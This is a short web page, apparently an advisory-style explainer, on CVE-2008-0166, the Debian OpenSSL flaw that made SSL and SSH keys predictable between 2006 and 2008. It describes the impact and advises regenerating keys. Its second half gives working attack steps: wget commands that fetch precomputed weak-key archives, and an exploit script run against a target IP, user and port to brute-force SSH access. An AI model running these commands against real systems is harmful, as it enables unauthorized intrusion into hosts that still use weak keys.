Explore an in-depth analysis of the significant CVE-2008-0166, understanding its impact, mitigation strategies, and remediation. Be informed, stay secure.

CVE-2008-0166 is a vulnerability that affected the random number generator used in Debian-based systems for generating SSL and SSH keys.

This flaw, present between September 2006 and May 13, 2008, resulted in predictable cryptographic keys, making it easier for attackers to guess keys and compromise security.

The vulnerability was introduced due to a change in the OpenSSL package that significantly weakened the randomness of generated keys. Systems using these keys should regenerate and replace them immediately.

For more details and mitigation steps, refer to the exploit documentation:


All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected.

wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_rsa_2048_x86.tar.bz2 https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_dsa_1024_x86.tar.bz2

bunzip2 debian_ssh_rsa_2048_x86.tar.bz2 debian_ssh_dsa_1024_x86.tar.bz2
tar -xvf debian_ssh_rsa_2048_x86.tar
tar -xvf debian_ssh_dsa_1024_x86.tar

python 5720 rsa/2048 <IP> <USER> <PORT> <THREADS>
python 5720 dsa/1024 <IP> <USER> <PORT> <THREADS>

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